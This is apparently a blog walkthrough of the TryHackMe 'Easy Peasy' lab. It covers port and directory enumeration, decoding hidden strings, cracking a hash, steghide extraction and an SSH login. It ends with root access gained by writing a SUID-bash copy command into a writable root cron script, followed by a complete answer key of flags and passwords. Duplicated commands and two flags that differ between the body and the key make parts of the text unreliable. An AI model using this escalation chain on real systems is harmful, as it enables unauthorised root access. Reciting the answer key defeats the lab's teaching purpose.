August 14, 2026
Following the Breadcrumbs: A Full Walkthrough of TryHackMe’s Easy Peasy
Some boxes throw everything at you at once. This one didn’t. It gave me three open ports, a page that looked empty, and let me figure out…

By Shivansh Mishra
6 min read
Some boxes throw everything at you at once. This one didn't. It gave me three open ports, a page that looked empty, and let me figure out the rest for myself — one small leak at a time. (Answer Keys — At the End)
A TryHackMe walkthrough where every flag was hiding behind a decode, not an exploit — until the very last step.
The Target
Room: EasyPeasyCTF — Room (TryHackMe)
- Difficulty: Easy
- Target IP: 10.48.176.108
Objective: Get a foothold, grab the user flag, escalate to root
First Clue
Before I could touch anything, I had to get onto TryHackMe's network.
sudo openvpn ap-south-1-correctshivansh-regular.ovpnsudo openvpn ap-south-1-correctshivansh-regular.ovpnKicking off the VPN connection with my personal '.ovpn' config.
A few seconds later, the tunnel came up.
- "Initialization Sequence Completed" — I had a virtual IP and a route into the lab network.
The dashboard confirmed it: connected, with an internal IP of 192.168.170.22.
With the tunnel live, it was time to see what was actually running on the box.
nmap -sC -sV -p 80,6498,65524 10.48.176.108nmap -sC -sV -p 80,6498,65524 10.48.176.108
Three services, three very different roles.
Three ports stood out immediately:
- 80/tcp — nginx 1.16.1
- 6498/tcp — OpenSSH 7.6p1 (Ubuntu)
- 65524/tcp — Apache httpd 2.4.43
The SSH port being anywhere other than 22 was the first sign that this box wasn't going to hand anything over politely. Two separate web servers on two separate ports also meant I'd be enumerating twice, not once.
Following the Trail
Something Interesting on Port 80
I pointed GoBuster at the nginx server first.
gobuster dir -u http://10.48.176.108/ -w /usr/share/wordlists/dirb/common.txtgobuster dir -u http://10.48.176.108/ -w /usr/share/wordlists/dirb/common.txt
- Alongside the expected
index.htmlandrobots.txt, one entry didn't belong:hidden. hiddenreturned a 301, which meant it was a real directory, not a dead end. I wasn't going to stop scanning just because I found one folder — a name like that usually means there's more hiding underneath it.
The Hidden Directory
I re-ran GoBuster, this time targeting /hidden/ directly.
gobuster dir -u http://10.48.176.108/hidden/ -w /usr/share/wordlists/dirb/common.txtgobuster dir -u http://10.48.176.108/hidden/ -w /usr/share/wordlists/dirb/common.txt
One more layer down: /hidden/whatever/.
- The interesting part was
whatever. At this point I didn't know if it was useful, but it was unusual enough to investigate further.
A String That Didn't Belong
I curled the page directly and read through the raw HTML.
curl -s http://10.48.176.108/hidden/whatever/curl -s http://10.48.176.108/hidden/whatever/
Buried in a __**<p hidden>**__ tag was __**ZmxhZ3tmMXJzN19mbDRnfQ==**__.
The trailing == was the giveaway — that's a Base64 padding pattern. Decoding it turned it straight into a flag:
echo 'ZmxhZ3tmMXJzN19mbDRnfQ==' | base64 -decho 'ZmxhZ3tmMXJzN19mbDRnfQ==' | base64 -dFlag 1: flag{f1rs7_fl4g}
One flag down, and a clear pattern forming: this box likes to hide things in plain sight rather than behind exploits.
The Second Web Server
Port 65524 was still unexplored, so I gave it the same treatment as port 80.
gobuster dir -u http://10.48.176.108:65524/ -w /usr/share/wordlists/dirb/common.txtgobuster dir -u http://10.48.176.108:65524/ -w /usr/share/wordlists/dirb/common.txt
Gobuster surfaces robots.txt on the Apache server.
robots.txt came back, which on a CTF box is basically an invitation.
curl http://10.48.176.108:65524/robots.txtcurl http://10.48.176.108:65524/robots.txt
The file contained a value that led to the second flag.
Flag 2: flag{1m_s3c0nd_fl4g}
Reading the Page Source
Rather than guessing at more directories, I went back to basics and grepped the raw response for anything obviously useful.
curl -s http://10.48.176.108:65524/ | grep -i flagcurl -s http://10.48.176.108:65524/ | grep -i flag
Sitting right there in the HTML was the third flag.
Flag 3: Flag{9dafbd64c47471a8f54cd3fc64cd312}
The lesson so far was sticking: half the "hacking" on this box was just reading carefully.
An Encoded Directory Name
The same page also had a second odd-looking string sitting near the flag: _T2JzSm1QMTczTjJYNmRPckFnRUFMMFZ1_. It wasn't valid Base64 — the character set was wrong. That pointed toward Base62, so I ran it through CyberChef's From Base62 operation.
T2JzSm1QMTczTjJYNmRPckFnRUFMMFZ1T2JzSm1QMTczTjJYNmRPckFnRUFMMFZ1
The decode produced /n0th1ng3ls3m4tt3r — a directory path in disguise.
- The interesting part was that it decoded to something that looked like a path. That was enough to justify one more request.
A Username Appears
Visiting /n0th1ng3ls3m4tt3r turned up a fresh piece of the puzzle: a 64-character hexadecimal hash, sitting there waiting to be cracked. I saved it as hash.txt and pointed a wordlist at it.
I initially reached for Hashcat, but my machine had no GPU backend available for it. Rather than lose time fighting driver configuration, I switched to John the Ripper and specified the GOST format directly.
john - format=gost hash.txt - wordlist=easypeasy_1596838725703.txt
john - show - format=gost hash.txtjohn - format=gost hash.txt - wordlist=easypeasy_1596838725703.txt
john - show - format=gost hash.txt
John made short work of it: __**mypasswordforthatjob**__.
I now had a password. What I didn't have yet was anything to use it on — no login form, no SSH prompt. That meant it had to unlock something else first.
Turning the Clue Into Access
The hidden directory also referenced an image file. Steganography felt like the obvious next move, so I pulled it down and tried extracting hidden data with the password I'd just cracked.
wget http://10.48.176.108:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg
steghide extract -sf binarycodepixabay.jpgwget http://10.48.176.108:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg
steghide extract -sf binarycodepixabay.jpg- Steghide, given
mypasswordforthatjobas the passphrase, extracted a text file. - That file,
secrettext.txt, held two things: the usernameboring, and a string of raw binary. Converting the binary back to ASCII gave a second password:
SSH password: iconvertedmypasswordtobinary
Breaking In
- What I knew: a username, a password, and an SSH port that wasn't 22.
- What I suspected: this was the actual login, not another rabbit hole.
- What I tried:
ssh -p 6498 boring@10.48.176.108ssh -p 6498 boring@10.48.176.108- What happened: it worked. I was in as
boring.
Getting the User Flag
whoami
ls -la
cat user.txtwhoami
ls -la
cat user.txtThe flag file existed, but the contents were scrambled.
The flag came back rotated — synt{…} instead of flag{…}, which is the classic tell for ROT13.
echo 'synt{a0jvgf33zfa0ez4y}' | tr 'A-Za-z' 'N-ZA-Mn-za-m'echo 'synt{a0jvgf33zfa0ez4y}' | tr 'A-Za-z' 'N-ZA-Mn-za-m'User flag: flag{n0wits33msn0rm4l
The Second Problem: Getting Root
Getting a shell was only half the job. I still needed a way to turn low-privileged access into root — and I wasn't going to just fire off a generic enumeration script and hope. I wanted to know why something was exploitable before I touched it.
The first check is always the obvious one:
sudo -lsudo -lboring had no sudo rights. Dead end. So I looked at what root itself was doing automatically — scheduled jobs are a common way for a "safe" background process to quietly become a privilege escalation path.
cat /etc/crontabcat /etc/crontabOne line stood out: a root-owned cron entry running a script every minute out of __**/var/www/**__.
The entry ran .mysecretcronjob.sh as root, once a minute. That raised one question:
could my low-privileged user actually write to that file?
ls -la /var/www/
ls -l /var/www/.mysecretcronjob.sh
cat /var/www/.mysecretcronjob.shls -la /var/www/
ls -l /var/www/.mysecretcronjob.sh
cat /var/www/.mysecretcronjob.shIt could. The script was writable by boring, which meant anything I put inside it would run as root within sixty seconds.
I tested that theory harmlessly first:
echo 'date > /tmp/cron-test' > /var/www/.mysecretcronjob.sh
cat /tmp/cron-testecho 'date > /tmp/cron-test' > /var/www/.mysecretcronjob.sh
cat /tmp/cron-testOnce /tmp/cron-test appeared, the path was confirmed. Time to use it properly.
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /var/www/.mysecretcronjob.shecho 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /var/www/.mysecretcronjob.shRoot
ls -l /tmp/rootbashls -l /tmp/rootbashThe s in the permission bits confirmed the SUID flag was set — root had done exactly what I asked.
/tmp/rootbash -p
whoami/tmp/rootbash -p
whoamiuid=0(root)
- The root flag was the last thing left to grab.
cat /root/root.txt 2>/dev/null || cat /root/.root.txtcat /root/root.txt 2>/dev/null || cat /root/.root.txtRoot flag: flag{63a9f0ea7bb98050796b649e85481845}
What I Learned
- Two separate web services on two separate ports means two separate enumeration passes — don't assume one GoBuster run covers the whole box.
- Encoding isn't encryption. Base64, Base62, binary, and ROT13 all showed up here, and none of them needed a real exploit — just recognition.
- When a tool can't run (no GPU backend for Hashcat, in my case), switch tools instead of losing time fixing the environment.
- A writable script that root executes on a schedule is effectively a standing invitation to escalate — always check
crontaband file permissions before reaching for kernel exploits. - Getting a shell is a checkpoint, not the finish line.
Answer Keys:
Questions and Answers
| # | Question | Answer |
|---:|---|---|
| 1 | Open ports | 3 |
| 2 | nginx version | 1.16.1 |
| 3 | Highest port | Apache |
| 4 | Flag 1 | `flag{f1rs7_fl4g}` |
| 5 | Flag 2 | `flag{1m_s3c0nd_fl4g}` |
| 6 | Flag 3 | `flag{9fdafbd64c47471a8f54cd3fc64cd312}` |
| 7 | Hidden directory | `/n0th1ng3ls3m4tt3r` |
| 8 | Hash password | `mypasswordforthatjob` |
| 9 | SSH password | `iconvertedmypasswordtobinary` |
| 10 | User flag | `flag{n0wits33msn0rm4l}` |
| 11 | Root flag | `flag{63a9f0ea7bb98050796b649e85481845}` |Questions and Answers
| # | Question | Answer |
|---:|---|---|
| 1 | Open ports | 3 |
| 2 | nginx version | 1.16.1 |
| 3 | Highest port | Apache |
| 4 | Flag 1 | `flag{f1rs7_fl4g}` |
| 5 | Flag 2 | `flag{1m_s3c0nd_fl4g}` |
| 6 | Flag 3 | `flag{9fdafbd64c47471a8f54cd3fc64cd312}` |
| 7 | Hidden directory | `/n0th1ng3ls3m4tt3r` |
| 8 | Hash password | `mypasswordforthatjob` |
| 9 | SSH password | `iconvertedmypasswordtobinary` |
| 10 | User flag | `flag{n0wits33msn0rm4l}` |
| 11 | Root flag | `flag{63a9f0ea7bb98050796b649e85481845}` |Achievement!